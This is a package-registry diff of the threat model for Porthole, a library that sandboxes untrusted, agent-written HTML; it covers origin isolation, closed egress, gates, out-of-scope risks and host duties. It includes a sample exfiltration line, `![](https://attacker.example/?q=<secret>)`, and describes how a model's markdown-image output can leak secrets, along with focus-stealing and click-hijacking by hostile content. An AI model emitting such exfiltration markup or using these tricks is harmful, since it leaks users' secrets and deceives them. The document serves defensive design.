@botiverse/porthole 0.16.0 → 0.16.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,122 +1,26 @@
1
1
  # Threat model
2
2
 
3
- What Porthole protects, from whom, and where that protection ends. For each way of using it
4
- (S1–S7), it says what Porthole guarantees, what the host must do itself, and what is not
5
- guaranteed. [ADOPTING.md](ADOPTING.md) says how to set each one up, and
6
- [DESIGN.md](DESIGN.md) lists every defense with the test that proves it.
7
-
8
- **Status.** This describes Porthole 0.16.0 (2026-11-11). A review on 2026-10-19 found gaps, and every decision it led to
9
- has merged ([§8](#8-fixes-in-flight) lists them). P096 changed the negative-control runner and CI,
10
- and the shipped conformance probes' messages and timing, not what they check. P104 (0.9.0's
11
- annotation markers) had a review of its own, and P105, in 0.10.0, is what it led to. 0.11.0 was
12
- never published (its release stopped at the CI gate), and 0.12.0 carries all of it: draft marks
13
- (P107, §7 "Drafts": what a page learns from them and who may receive them), an advisory lint
14
- (P106, no change to isolation), and `comments.open` with a draft (P108, §7: the host's duties
15
- around it). The review of 0.12.0's drafts led to P109, in 0.13.0: a display can take the keyboard, which
16
- `createHost` now gives back (§6, §7 "The keyboard"); `comments.open` needs the person in the
17
- calling frame; a page's draft text is stricter, and the composer it fills is the person's to act
18
- on (§7). 0.13.0 also makes P106's lint fail soft and read only what it may (P110, no change to
19
- isolation). 0.14.0 adds a nested page (P111, `nested: true`, S3): the framed address is Porthole's
20
- shell alone and the page its opaque child, so a realm the page can't reach tells the host when the
21
- person, not the page, pressed in it (§7 "The keyboard", `comments`); and P112's annotation
22
- additions for a host's comment modes (hints, as every report is, §7). 0.14.1: P114
23
- (porthole#56) serves a nested page's shell on a label of its own, on which nothing but nested
24
- pages' shells, their pages, those pages' files and status pages is ever served, so no other
25
- display of the scope is same-origin with the shell (S3). 0.14.8: P128 lets a host opt a config
26
- into a page's own nested frames (`nestedFrames: "own"`, off by default): its `srcdoc` frames and
27
- frames of its own files load and run, in realms the shell's hardening never reaches (WebRTC, the
28
- clipboard's guards: S1, S3); frames of other sites stay out. 0.14.9: P131 adds find
29
- in page (`find`, off unless a config declares it): the host's find bar sends the person's query
30
- into the frame, where the content can read it, and takes counts, a box and the find shortcut back
31
- as the content's word (§6, §7 "Find in page"); no wall moves. 0.14.10: P132 adds a mark's place in
32
- the document and the document's scroll to annotation reports, unclamped, so a host must clip what it
33
- draws from them to its own region (§6, §7); `rect` stays clamped and no wall moves. 0.14.11: P133
34
- makes markers buttons in the frame's Tab order, reversing P104's "no tab stop": the page shares that
35
- order, so it can steer or spoil the focus, and a host keeps its own list of marks (§7). A press only
36
- reports `activated`, which the page could already fake; `lastLineDocumentRect` is unclamped, for a
37
- host to clip as P132's are; no wall moves. 0.14.12: P134 adds `annotations.focusMark(id)`, the host's
38
- word to put the keyboard back on a marker, and a second exception to "takes no focus" whose conditions
39
- are the host's own (§6, §7); no wall moves. 0.14.13: P135 drops a `focusMark` that had to wait unless the focus is
40
- in the frame's document by then; a call on a calm page is unchanged. 0.14.14: P136 brings `display.focus()`
41
- through a nested page's shell with a new host-to-shell word no page can say; P137 applies P135's check to a
42
- word 100 ms old or more; no wall moves. 0.14.15: P138 lets the host follow the current selection
43
- (`selectionTracked`, the same boxes as `tracked`, on its budget, only while asked) and keeps what was
44
- picked lit; no wall moves. 0.14.16: P139 has a shell on a tab of its own ask no host; P140 narrows P138: a pick stays lit, and a
45
- selection is kept in the frame, only for a host that follows the selection (`keepSelection`), and a
46
- host that follows none drops `selectionTracked` unread (§7). 0.14.17: P141 lets a host name the
47
- origins of an outer page that frames its app (`framedBy`): each may be an ancestor of every frame,
48
- above the host's own page, so it is in every `frame-ancestors`, and nowhere else; it is never a
49
- host a frame hears or tells, and a page's `*` fallback is held to a parent named as a host origin
50
- (§6 "What every host must do", S3). 0.14.18: P142 keeps a set's pages and links within a page from
51
- starting the display again where there is no Navigation API, and where WebKit fires a frame's load
52
- for a link within its document: the arriving page's notice is sent without the API, and a page
53
- says it stayed; no wall moves, and the limit without the API is P079's, unchanged. 0.15.0: P143
54
- lets a host that opts in (`embeds`) mint an embed grant: a public artifact page's answers say
55
- `frame-ancestors *` for that session alone, and the page has no host: it hears no one, tells no
56
- parent anything, and no capability, runtime host function or door is there (S4, §8). P144, after
57
- Ferryman's audit of 0.14.17 and 0.14.18 (no P0, no new egress), amends P141: without `framedBy`
58
- every header (every `frame-ancestors` and `script-src` hash) and the status, entry and door pages'
59
- scripts and the nested page's shell are 0.14.16's again, byte for byte (0.14.17 had changed their
60
- hashes, not what they do); the shell runtime every served document inlines is not (P142's
61
- changes, and P143's `hostless` branches, inert where a plan names a host; no hash covers it: P145);
62
- in the nesting P141 is for (the outer page, then the app's page, then content), content can message
63
- the outer page and every frame in its tree and learn its origin, so the outer page must check every
64
- message it takes, and S7's egress rule covers its frames (§6 "What every host must do", S7); and
65
- `framedBy` is compared with the host origins as browsers serialize origins (`https://a.example:443`
66
- is `https://a.example`).
67
- 0.15.1: P145, after Ferryman's audit of 0.15.0 (no P0, no escape, no new egress), amends P143 and
68
- P144: their "byte for byte" is said as it holds (above); the host kit refuses an `access` answer
69
- with `embed`, so a reader's issue endpoint never mints an embed session (S4); an embed page learns
70
- where it is embedded (S4); and a host origin's or `framedBy`'s port is 1 to 65535, without a
71
- leading zero, and its host as the URL parser gives it. No wall moves.
72
- 0.15.2: P147, annotations' marks ride the document's scroll: the boxes of the shell's layer are
73
- placed down the document and moved by a scroll-driven animation in the layer's closed shadow root,
74
- so they no longer trail the text for the frames before the scroll event is heard. No message and
75
- no reading is added (the scroll offset was read already, P132), and the layer still adds nothing to
76
- what a page can scroll. No wall moves.
77
- 0.15.3: P148, a nested page's real presses: the page's runtime tells its shell each press the
78
- browser itself made (a mouse down, a finger up, Enter or Space on a native control, a click on
79
- one), over a `MessagePort` the shell sends at each load and the runtime takes before any content
80
- runs; the shell tells the host when it heard the last, and the host takes it as it takes the
81
- shell's activation turning on (§7 "The keyboard"). It gives back what P111 accepted as a loss: a
82
- press in the page within 5 s of the last gesture. It rests on the runtime's lock on
83
- `document.open` and on a nested page's frames being opaque, and is not installed where either
84
- fails. The nested shell's script and the served shell runtime change (their pins, P144 and P145).
85
- Also in 0.15.3, after the audit of 0.15.1: the four helpers a content Worker of a host's own calls
86
- with host origins (`statusPage`, `doorResponse`, `doorStatusResponse`, `nestedShellCsp`) check
87
- each one and throw on a bad one, as P145 said they did; the origins are the host's own
88
- configuration, never content's.
89
- 0.16.0: P149 takes out what guessed at the person's intent, and what was built to make the
90
- guess better. Gone: nested pages (`nested: true`, P111 and all that followed it: the shell on a
91
- label of its own, its word on the person's press, P114, P120 to P122, P136, P148); the focus
92
- guard (P109: a display that takes the keyboard keeps it until the person clicks back, the
93
- accepted risk of §5, now without a guard in front of it); the proof of a click asked of
94
- `sendPrompt`, `openLink`, `downloadFile`, `comments.open`, `artifact.publish`, `assets.delete`
95
- and a marker's `activated` (P105's second point). Kept: `copyText`'s click (the clipboard is the
96
- person's, and nothing else stands between a page and it), every confirmation, every rate (the
97
- three that had none get 30 a minute), the mute, and every isolation wall: no origin, sandbox,
98
- CSP or message check changes. What a page gains is the power to ask at a moment it picks: a
99
- confirmation the person didn't prompt, a composer or a comment view opening unasked. Each is a
100
- nuisance a host bounds (it may refuse, back off, or name the `user-activation` gate again), and
101
- none carries anything out or writes anything by itself (§5, §7).
3
+ What Porthole protects, from whom, and where that protection ends. For each use (S1–S7): what
4
+ Porthole guarantees, what the host must do, what is not guaranteed. Setup:
5
+ [ADOPTING.md](ADOPTING.md). How each defense works and which test proves it: [DESIGN.md](DESIGN.md).
102
6
 
103
- ## 1. Two layers
7
+ **Status.** This describes the latest release. Changes: [CHANGELOG.md](../CHANGELOG.md); reasons:
8
+ [DECISIONS.md](DECISIONS.md).
104
9
 
105
- Porthole has two layers, and most hosts need only the first.
10
+ ## 1. Two layers
106
11
 
107
- - **The display layer** shows untrusted HTML. It puts the content on an origin that isn't the
108
- host's, closes its network, runs a shell in its frame, gates the few host functions the content
109
- may call (send a prompt, open a link, copy text, read the host's data), and writes the agent's
110
- manual, all from one config. Presets: `inlineWidget`, `liveWidget`, `artifact`, `mcpApp`,
12
+ - **The display layer** shows untrusted HTML; most hosts need only this. From one config it puts
13
+ content on an origin that isn't the host's, closes its network, runs a shell in its frame, gates
14
+ the few host functions content may call (send a prompt, open a link, copy text, read the host's
15
+ data), and writes the agent's manual. Presets: `inlineWidget`, `liveWidget`, `artifact`, `mcpApp`,
111
16
  `url`.
112
- - **The app runtime** is optional, and off unless a config sets `runtime: "1"`. It lets a page be
113
- a small app: through `porthole.use(name)` it reaches the host's services (`user`, `comments`,
114
- `artifact`, `assets`, `db`) for what it declared and what its viewer's level allows. It brings
115
- the host's backend into the picture: who may call what, per version, revocation, and each
116
- person's data.
17
+ - **The app runtime**, off unless a config sets `runtime: "1"`, lets a page reach the host's
18
+ services through `porthole.use(name)` (`user`, `comments`, `artifact`, `assets`, `db`), as far as
19
+ its declaration and its viewer's level allow. It brings in the host's backend: who may call what,
20
+ per version, revocation, each person's data. A host that only shows content can skip it, and this
21
+ document's parts about it.
117
22
 
118
- A host that only shows content can skip the app runtime, and the parts of this document about it.
119
- [§7](#7-the-display-layer-and-the-app-runtime) says what each layer guarantees.
23
+ What each layer guarantees: [§7](#7-the-display-layer-and-the-app-runtime).
120
24
 
121
25
  ## 2. What is protected
122
26
 
@@ -138,97 +42,80 @@ A host that only shows content can skip the app runtime, and the parts of this d
138
42
  | (d) | The app being previewed | an app on a content origin (url mode) | S6 |
139
43
  | (e) | Other content on the same page | a sibling frame | S7, and S2 |
140
44
 
141
- The agent is itself a trust boundary. What it writes is untrusted, and a library it loads from an
142
- allowed CDN is no more trusted than its own code: the manual's advice to pin exact versions helps
143
- the agent, but it is not a wall.
45
+ The agent is itself a trust boundary: what it writes is untrusted, and so is a library it loads from
46
+ an allowed CDN. The manual's advice to pin exact versions helps the agent; it is not a wall.
144
47
 
145
48
  ## 4. Two lines of defense
146
49
 
147
- 1. **Against attacks on the host: origin isolation.** Content runs on an origin that is never the
148
- host's: an opaque one (a `srcdoc` frame with `sandbox="allow-scripts"` and nothing else), or
149
- one of its own on a separate registrable domain (served pages). Same-origin policy then denies
150
- it the host's DOM, storage, cookies and credentials, and nothing secret of the host's is sent
151
- into the frame.
152
- 2. **Against leaking and deceiving: closed egress, gates, and approvals outside the frame.**
153
- Isolation doesn't stop content from sending out what it was given, or from drawing a fake. So:
154
- - its network is closed by default: the frame's CSP, the shell's defenses for channels a CSP
155
- doesn't cover (WebRTC, nested frames, resource hints), and the embedding page's `frame-src`
156
- against the frame navigating itself away. A host that opts into a page's own frames
157
- (`nestedFrames: "own"`, P128) gives up the shell's defenses inside them: there, the CSP alone
158
- closes the network;
159
- - everything beyond drawing is a host function the config declares, behind gates: a user
160
- gesture, a person's confirmation, consent, a rate;
161
- - the host draws its confirmations and consent outside the frame, where content can't draw over
162
- them;
163
- - the host's fallback for a frame that showed nothing ("open this in a new tab to sign in",
164
- "you no longer have access", with a link) is drawn from Porthole's pages' word only, never
165
- from what the content says (P124, P125; a url-mode app aside, S6). For a served display —
166
- where a same-scope sibling could otherwise speak for it ([§7](#the-display-layer)) —
167
- that word comes from a **door**: a page of Porthole's on the display's origin, in a hidden
168
- opaque frame of the host's that no content can reach, taken before the content is framed. The
169
- content frame's own word is then never taken, and its silence is a timeout, never a fallback.
170
-
171
- The app runtime adds a third: **the host's API is the wall for its data.** The bridge refuses a
172
- call the page didn't declare (`undeclared`), or that the viewer's level doesn't allow, before any
173
- handler runs. The names a page declares in `data` hold with a viewer and without one (P094). The
174
- host's API checks again, since a call that reaches the API some other way can claim any
175
- viewer and any declaration.
176
-
177
- The leak suite attempts each channel in DESIGN.md's table from inside the content, on Chromium,
178
- WebKit and Firefox, and most defenses have a negative control that takes the defense out to show
179
- its probes then fail (DESIGN.md § "Egress hardening, each with its test"). CI runs every negative
180
- control on all three engines on the commit of every release (P146: the release's gate requires
181
- that run; a pull request's CI runs the suite on Chromium, with no control), and a control passes
182
- only when its marked probes failed by their own assertion (P096).
50
+ 1. **Origin isolation, against attacks on the host.** Content runs on an origin never the host's: an
51
+ opaque one (a `srcdoc` frame, `sandbox="allow-scripts"` and nothing else) or its own on a
52
+ separate registrable domain (served pages). Same-origin policy denies it the host's DOM, storage,
53
+ cookies and credentials; nothing secret of the host's is sent into the frame.
54
+ 2. **Against leaking and deceiving**, which isolation doesn't stop:
55
+ - *Closed egress* by default: the frame's CSP; the shell's defenses where a CSP doesn't reach
56
+ (WebRTC, nested frames, resource hints); the embedding page's `frame-src` against the frame
57
+ navigating itself away. In a page's own frames (`nestedFrames: "own"`, P128, the host's opt-in)
58
+ the shell's defenses don't run, and the CSP alone closes the network.
59
+ - *Gates*: everything beyond drawing is a host function the config declares, behind a user
60
+ gesture, a person's confirmation, consent or a rate.
61
+ - *Approvals outside the frame*: the host draws confirmations and consent where content can't
62
+ draw over them.
63
+ - *Fallbacks on Porthole's word only*: the host's fallback for a frame that showed nothing (a
64
+ sign-in prompt or "you no longer have access", with a link) comes from Porthole's pages, never
65
+ from content (P124, P125; url-mode apps aside, S6). A served display speaks only through its
66
+ **door**, a page of Porthole's in a hidden frame no content can reach
67
+ ([§7](#the-display-layer)).
68
+
69
+ The app runtime adds a third: **the host's API is the wall for its data.** Before any handler runs,
70
+ the bridge refuses a call the page didn't declare (`undeclared`) or the viewer's level doesn't
71
+ allow; the names a page declares in `data` hold with or without a viewer (P094). The host's API
72
+ checks again: a call reaching it another way can claim any viewer and any declaration.
73
+
74
+ **Tests** (DESIGN.md § "Egress hardening, each with its test"). The leak suite attempts each channel
75
+ from inside the content on Chromium, WebKit and Firefox. Most defenses have a negative control that
76
+ removes the defense to show its probes then fail; a control passes only when its marked probes
77
+ failed by their own assertion (P096). A release's gate needs every negative control to pass on all
78
+ three engines on its commit (P146). A pull request's CI runs the suite on Chromium, with no control.
183
79
 
184
80
  ## 5. Out of scope
185
81
 
186
82
  Porthole does not protect against these.
187
83
 
188
84
  - **Availability in the viewer's browser.** Content can loop, allocate without bound, or fill the
189
- content domain's cookies. Porthole has no watchdog: nothing but the load timeout watches a
190
- frame, nothing unloads a frame that stops answering, and nothing limits its CPU or memory. An
191
- opaque frame may share the host page's process (the browser decides), so a loop in it can stall
192
- the host's tab; a served frame is on another site, which browsers with site isolation put in a
193
- process of its own. In scope, by contrast: a page or a request that can crash the host's server,
194
- and a message from content that makes the host's page do unbounded work (SECURITY.md). Through
195
- Porthole's Node adapter no request ends the process, and on any runtime the issue endpoint reads
196
- at most 64 KiB of a body (P092). What content sends is read after its gate, into bounded text,
197
- and nothing it sends throws out of an adapter (P095).
198
- - **Browser bugs, and what the leak suite doesn't run on.** The walls are the browser's own (the
199
- sandbox, CSP, same-origin policy, site isolation): a bug in them is outside Porthole. The suite
200
- runs Chromium, WebKit and Firefox through Playwright; other engines, versions and embedded
201
- WebViews are untested. Side channels (timing, Spectre-class) are out too: an opaque frame that
202
- may share the host's process can learn about it that way; domain mode puts content on another
203
- site, which browsers with site isolation give its own process.
204
- - **Markdown-image exfiltration in chat renderers** (the EchoLeak and CamoLeak class: a model's
205
- reply holds `![](https://attacker.example/?q=<secret>)` and the chat loads it). That is the
206
- chat's own rendering of model text. Porthole's walls apply to HTML handed to a display.
207
- - **Deceptive content.** Content may draw anything in its frame, a fake sign-in form included.
208
- Porthole limits where what is typed into it can go and keeps the host's approvals outside the
209
- frame; it doesn't judge what content shows.
210
- - **A display taking the keyboard** (accepted risk, P123, P149). Content can move focus into its
211
- frame (`focus()` and the like) while the person types in the host's page, and receive the keys
212
- typed after it, until the person sees their text stop appearing and clicks back. Browsers give a
213
- host no way to prevent it, nor to tell such a move from the person's own click into the frame
214
- (the host's page sees no press inside a cross-site frame). From 0.13 to 0.15 a guard took such
215
- moves back on its best guess; the guess refused people's own clicks, and 0.16.0 removed it
216
- (§7 "The keyboard"). The walls that hold regardless: content can't read the host's page, its
217
- storage or another display, and can't move focus into a field of the host's.
218
- - **A page asking at a moment it picks** (accepted risk, P149). No proof of a click is asked of a
219
- host function but `copyText`: a page can call `sendPrompt`, `openLink`, `downloadFile`,
220
- `comments.open`, `artifact.publish` or `assets.delete` as it loads or on a timer. Each still
221
- ends at the person (a confirmation with the whole effect, or a composer that posts nothing by
222
- itself), within a rate, and declines mute the display; so the cost is an interruption, which
223
- the host may refuse or space out. The click check it replaces proved little (any click on the
224
- host's page in the last 5 s passed it) and refused real clicks where the engine didn't pass the
225
- activation up.
226
- - **Wrong results.** A chart can plot the wrong numbers, and a report can say false things.
85
+ content domain's cookies. There is no watchdog: only the load timeout watches a frame; nothing
86
+ unloads one that stops answering or limits its CPU or memory. An opaque frame may share the host
87
+ page's process (the browser decides), so its loop can stall the host's tab; a served frame is on
88
+ another site, which site isolation puts in its own process. In scope (SECURITY.md): a page or
89
+ request that can crash the host's server, and a message from content that makes the host's page do
90
+ unbounded work. Through Porthole's Node adapter no request ends the process; on any runtime the
91
+ issue endpoint reads at most 64 KiB of a body (P092). What content sends is read after its gate,
92
+ into bounded text, and none of it throws out of an adapter (P095).
93
+ - **Browser bugs, and engines the leak suite doesn't run.** The walls are the browser's own
94
+ (sandbox, CSP, same-origin policy, site isolation). The suite runs Chromium, WebKit and Firefox
95
+ through Playwright; other engines, versions and embedded WebViews are untested. Side channels
96
+ (timing, Spectre-class) are out too: an opaque frame sharing the host's process can learn about it
97
+ that way; domain mode puts content on another site, in its own process under site isolation.
98
+ - **Markdown-image exfiltration in chat renderers** (the EchoLeak and CamoLeak class: a reply holds
99
+ `![](https://attacker.example/?q=<secret>)` and the chat loads it). That is the chat rendering
100
+ model text; Porthole's walls cover HTML handed to a display.
101
+ - **Deceptive content**, a fake sign-in form included. Porthole limits where what is typed into it
102
+ can go and keeps the host's approvals outside the frame; it doesn't judge what content shows.
103
+ - **A display taking the keyboard** (accepted risk, P123, P149): content can move focus into its
104
+ frame and get the keys typed after that, until the person clicks back. Porthole has no guard; why,
105
+ and what holds: §7 "The keyboard".
106
+ - **A page asking at a moment it picks** (accepted risk, P149). Only `copyText` asks proof of a
107
+ click: a page can call `sendPrompt`, `openLink`, `downloadFile`, `comments.open`,
108
+ `artifact.publish` or `assets.delete` as it loads or on a timer. Each still ends at the person (a
109
+ confirmation with the whole effect, or a composer that posts nothing by itself), within a rate,
110
+ and declines mute the display: the cost is an interruption, which the host may refuse or space
111
+ out. A click check proved little (any click on the host's page in the last 5 s passed it) and
112
+ refused real clicks where the engine didn't pass the activation up.
113
+ - **Wrong results**: a chart with wrong numbers, a report saying false things.
227
114
  - **Malicious prompts.** A gated `sendPrompt` hands the host's confirm function the whole text (the
228
- default dialog shows all of it); whether that text is hostile is not Porthole's call. Nor is text
229
- content puts in the model's context (S5).
230
- - **The sense of a confirmed action.** A confirmation is given the call and its arguments. Whether
231
- doing it is wise is the person's decision, and what the host's handler then does is the host's.
115
+ default dialog shows all of it); whether it is hostile is not Porthole's call, nor is text content
116
+ puts in the model's context (S5).
117
+ - **The sense of a confirmed action.** A confirmation gets the call and its arguments. Whether it is
118
+ wise is the person's decision; what the handler does is the host's.
232
119
 
233
120
  ## 6. Scenarios
234
121
 
@@ -244,122 +131,102 @@ Porthole does not protect against these.
244
131
 
245
132
  ### What every host must do
246
133
 
247
- Whatever the use:
134
+ Whatever the use (how to wire each: [ADOPTING.md](ADOPTING.md)):
248
135
 
249
- - Send `displays.embedderCsp(…)` (the page's `frame-src`) on every page that shows displays, and
250
- run `defineHostConformance` against the real page in CI (S1 says why).
251
- - Keep the default gates. A capability's `gates` in a config replace its defaults whole, even
136
+ - **The page's CSP.** Send `displays.embedderCsp(…)` (the page's `frame-src`) on every page that
137
+ shows displays, and run `defineHostConformance` against the real page in CI (why: S1).
138
+ - **Gates.** Keep the defaults. A capability's `gates` in a config replace its defaults whole, even
252
139
  `[]`; a preset's `options.capabilities` entry replaces the preset's whole entry, gates included
253
140
  (`liveWidget({ capabilities: { readData: {} } })` drops its consent).
254
- - Give the confirmations and the consent it draws itself the default dialog's protections: drawn
255
- on the host's page outside every frame, showing the call's whole effect, Cancel focused, and the
256
- accept button ignoring presses for 500 ms after it opens, so a click meant for the content can't
257
- land on it. The React binding's dialog does all of this for confirmations; consent is always the
258
- host's own UI. A copy notice of its own shows what went on the clipboard (S1).
259
- - Show the text content reports (its errors, a blocked navigation's address, an annotation's
260
- quoted text) only as text, never as HTML.
261
- - Draw a frame's fallback (what `frameFallback` words, or your own) from its `outcome` alone, never
262
- from a message of your own reading off the frame's window: a `blocked` outcome is the word of a
263
- page of Porthole's server, a gateway or your own pages, never of an opaque frame or of content in
264
- a frame that speaks (P124, P125). For a served display, that word is its
265
- **door**'s (a page of Porthole's on the display's origin, framed hidden and opaque before the
266
- content, which a same-scope sibling can't reach, P125); its content frame's own word is never
267
- taken, and its silence is a `timeout`. A `blocked` before any frame (`sign-in`, `denied`,
268
- `not-found`) is your own issue endpoint's refusal, mapped by `createHost` (P125): its word is
269
- your backend's, so what it says is as trustworthy as that endpoint. Hear the `frame-status` host
270
- error as a display trying to speak as Porthole, and the `door` host error as a served display
271
- refused for having no door (an out-of-date server, a locator that drops it, or a clean address
272
- framed as it is: upgrade the server/Worker first, resolve clean addresses through issue, P125):
273
- log them, show nothing for them. A url-mode app can still say any outcome (S6).
274
- - Take what the frame reports about annotations as UI hints (where to draw, what to open), never
275
- as permissions, and put nothing in a mark the page may not know (§7). A mark's place in the
276
- document (`documentRect`, with the report's `scroll`, P132) and its last line's
277
- (`lastLineDocumentRect`, P133) aren't clamped to the frame: clip whatever you draw from them to
278
- the frame's box, or to your own region beside the frame.
279
- - Under `find` (P131), know that the page reads every query your find bar sends it, and declare
280
- `find` only for displays whose pages may learn what the person searches for (not a third-party
281
- app with egress, S5, unless you accept it). Take its counts as the bar's numbers, and open your
282
- bar on `findRequested`, nothing more (§7 "Find in page").
283
- - Guard a view that a frame's report opens or moves (`activated`, `anchored`, `selected`,
284
- `tracked`, `selectionTracked`: a comment's bubble, a composer, a card that follows its mark, a
285
- composer that follows the selection (P138), which the page moves at will, up to 60 times a
286
- second, and hides and shows again with `inView`). The content chooses when it appears and where, so it can bring it
287
- under a press the person meant for the content (a double click on the content's own button whose
288
- second click lands on the bubble's). Such a view takes no press of any kind for 500 ms after it
289
- appears or moves (not a `click` only: menu triggers act on `pointerdown`, and menu items click
290
- themselves on a release), ignores a press that began before that, opens beside the frame rather
291
- than over the report's box where the layout allows, takes no focus when it opens, and puts
292
- nothing one click away that posts, submits, resolves, deletes or discards (a draft's view, P107,
293
- included: no "Post" or "Submit review" in it). Its menus and popovers are part of it, portaled
294
- ones too (P105; ADOPTING.md § Annotations has the code: the view `inert` while it arms).
295
- One exception to "takes no focus" (P112): in a comment mode the person started themselves (the
296
- host's own control, never a report), a composer their selection opens (`selected`) may take
297
- focus, with `focusField`, if all it can do is save a draft: nothing in it posts, submits or sends,
298
- Enter in it only adds the draft to the batch (submitting is only ever the host's own "Submit N"
299
- control, outside the composer), it shows plainly that it is a draft (so the person can see where
300
- their keys are going), and the rest of this guard holds (no press for 500 ms, beside the frame). The page still chooses
301
- when `selected` comes, so what it can do with that moment is put the person's next keys into a
302
- draft they see and can discard, never send one; outside such a mode, or for a composer that can
303
- send, it takes no focus.
304
- A second exception (P134): a host may move focus into a view a report opened if all of these hold:
305
- it reads its own page's `document.activeElement` and that is this frame; the focus goes only to a
306
- container that takes no input (`tabindex="-1"`), never a field or a button; and every control in
307
- that view that can write has the host's own gate, so that a forged opening and the keys right after
308
- it can't submit. The gate covers keys as well as controls: with the focus in that view the person's
309
- next keys reach the host's document, so the view's own key handlers and the host's page-wide
310
- shortcuts that write (an `r` that resolves, Cmd+Enter that posts) need it too (P137). That's the
311
- host's duty: Porthole doesn't guarantee it.
312
- - Know that a display can take the keyboard: a page calls `focus()` on its own input whenever it
313
- likes (on Chromium and WebKit with no gesture), and what the person goes on typing goes to it
314
- until they click back. Nothing gives it back for them (§5, §7 "The keyboard"). Where a field
315
- must never lose a key to a page, show no untrusted display beside it. Move focus into a display
316
- yourself with `display.focus()`, and into your composer with `focusField(field)`, not the
317
- field's own `focus()` (Firefox ignores that while a frame that takes focus back on its blur
318
- holds it).
319
- - Call `annotations.focusMark(id)` only as the person's key closes your view of that mark, and know
320
- it can be dropped (P135, P137): one that has to wait while the frame finds its marks, or that the
321
- frame takes more than 100 ms after you sent it because its page is busy, lands only if the focus
322
- is in the frame by then, and in the normal flow it is on your `<body>`. Nothing says so. If
323
- the focus is still on your body a moment later, the person hasn't moved on: `display.focus()`,
324
- then `focusMark(id)` again. Look first: that move is yours, and a move after the person went on
325
- to a button of yours takes the keyboard from them. Nothing leaks either way.
326
- - List every app origin in `appOrigins` (`hostOrigins` in `/server`): only those may frame content,
327
- only those are a frame's host (heard and told), and only those are checked against the content
328
- domain for a shared site.
329
- - Where another app frames yours (P141), name its origins in `framedBy`, never in `appOrigins`: it
330
- may then be an ancestor of your frames, above your own page, and is never their host. Your page
331
- must still be the frame's parent: an outer page that frames content directly (with an address it
332
- got from somewhere) is let in by the browser, but the frame takes nothing from it (no handshake,
333
- no host function), Porthole's own pages tell it nothing, and what it
334
- can hear is the content's own word to its parent (`*`), which it must treat as untrusted. Your
335
- app page's own `frame-ancestors` is yours to set; Porthole never sends it. Name exact origins of
336
- that one product, and drop them when it stops framing you.
337
- - In the nesting `framedBy` is for (the outer page, then your app's page, then content), content
338
- is a descendant of the outer page (P144): it can `postMessage` the outer page (`top`) and every
339
- frame in its tree, and learn the outer page's origin (measured in Chromium and Firefox). No
340
- header stops that. Tell the outer page's authors: every message listener on the outer page and in
341
- each of its frames must check `event.source` and `event.origin`, taking a message only from the
342
- window and origin it expects (your app's page), and treat any other as content's untrusted word.
343
- S7's rule now covers the outer page's frames: what content was given can be handed to any frame
344
- the outer page shows, so the widest network among them is content's way out.
345
- - Under the app runtime, run `defineRuntimeConformance` with `api` in CI (§7).
141
+ - **Your own dialogs.** A confirmation or consent you draw needs the default dialog's protections:
142
+ on the host's page outside every frame, the call's whole effect shown, Cancel focused, the accept
143
+ button ignoring presses for 500 ms after it opens (so a click meant for the content can't land on
144
+ it). The React binding's dialog does this for confirmations; consent is always the host's own UI.
145
+ Your own copy notice shows what went on the clipboard (S1).
146
+ - **Content's text** (its errors, a blocked navigation's address, an annotation's quoted text): show
147
+ it only as text, never as HTML.
148
+ - **Fallbacks.** Draw a frame's fallback (`frameFallback`'s words, or your own) from its `outcome`
149
+ alone, never from a message read off the frame's window. Log the `frame-status` and `door` host
150
+ errors and show nothing for them. What each outcome's word is worth: §7 "The host's fallback".
151
+ - **Annotations and find in page** (§7). Take reports as UI hints (where to draw, what to open),
152
+ never as permissions, and put nothing in a mark the page may not know. A mark's place in the
153
+ document (`documentRect`, with the report's `scroll`, P132), its last line's
154
+ (`lastLineDocumentRect`, P133) and the point an element was picked at (`pointDocument`, P150)
155
+ aren't clamped to the frame: clip what you draw from them to the frame's box, or to your own
156
+ region beside it. The page reads every query your find bar sends
157
+ (P131): declare `find` only for displays whose pages may learn what the person searches for (not a
158
+ third-party app with egress, S5, unless you accept that). Take its counts as the bar's numbers,
159
+ and open your bar on `findRequested`, nothing more.
160
+ - **Guard a view a frame's report opens or moves** (`activated`, `anchored`, `selected`, `tracked`,
161
+ `selectionTracked`): a comment's bubble, a composer, a card following its mark, a composer
162
+ following the selection (P138). The page picks when and where it appears, moves it up to 60 times
163
+ a second, and hides and reshows it with `inView`, so it can put it under a press meant for the
164
+ content (a double click on the content's button whose second click lands on the bubble). Such a
165
+ view, its menus and popovers included, portaled ones too (P105; code, the view `inert` while it
166
+ arms: ADOPTING.md § Annotations):
167
+ - takes no press of any kind for 500 ms after it appears or moves, nor one begun before (not a
168
+ `click` only: menu triggers act on `pointerdown`, menu items click on a release);
169
+ - opens beside the frame, not over the report's box, where the layout allows, and takes no focus
170
+ when it opens;
171
+ - has nothing one click away that posts, submits, resolves, deletes or discards (a draft's view,
172
+ P107, too: no "Post" or "Submit review").
173
+
174
+ Two exceptions to "no focus". *First (P112):* in a comment mode the person started (the host's own
175
+ control, never a report), a composer their selection opens (`selected`) may take focus with
176
+ `focusField` if all it can do is save a draft: nothing in it posts, submits or sends; Enter only
177
+ adds the draft to the batch (only the host's own "Submit N" control, outside the composer,
178
+ submits); it shows plainly that it is a draft; and the rest of the guard holds. The page still
179
+ picks when `selected` comes, so it can steer the next keys into a draft the person sees and can
180
+ discard, never send one. Otherwise it takes no focus. *Second (P134):* a host may move focus into
181
+ a view a report opened if its own `document.activeElement` is this frame, the focus goes only to a container that takes no input
182
+ (`tabindex="-1"`), never a field or button, and every control in the view that can write has the
183
+ host's own gate, so a forged opening and the keys after it can't submit. The gate covers keys too:
184
+ the view's key handlers and the host's page-wide shortcuts that write (an `r` that resolves,
185
+ Cmd+Enter that posts) need it (P137). That is the host's duty; Porthole doesn't guarantee it.
186
+ - **The keyboard.** A display can take it (§7 "The keyboard"). Where a field must never lose a key
187
+ to a page, show no untrusted display beside it. Move focus into a display with `display.focus()`,
188
+ into your composer with `focusField(field)`, not the field's `focus()` (Firefox ignores that while
189
+ a frame that takes focus back on its blur holds it).
190
+ - **`annotations.focusMark(id)`.** Call it only as the person's key closes your view of that mark.
191
+ It can be dropped, silently (P135, P137): one that waits while the frame finds its marks, or
192
+ reaches the frame over 100 ms after you sent it because its page is busy, lands only if the focus
193
+ is in the frame by then, and normally it is on your `<body>`. If it is still there a moment later
194
+ the person hasn't moved on: `display.focus()`, then `focusMark(id)` again. Check first: that move
195
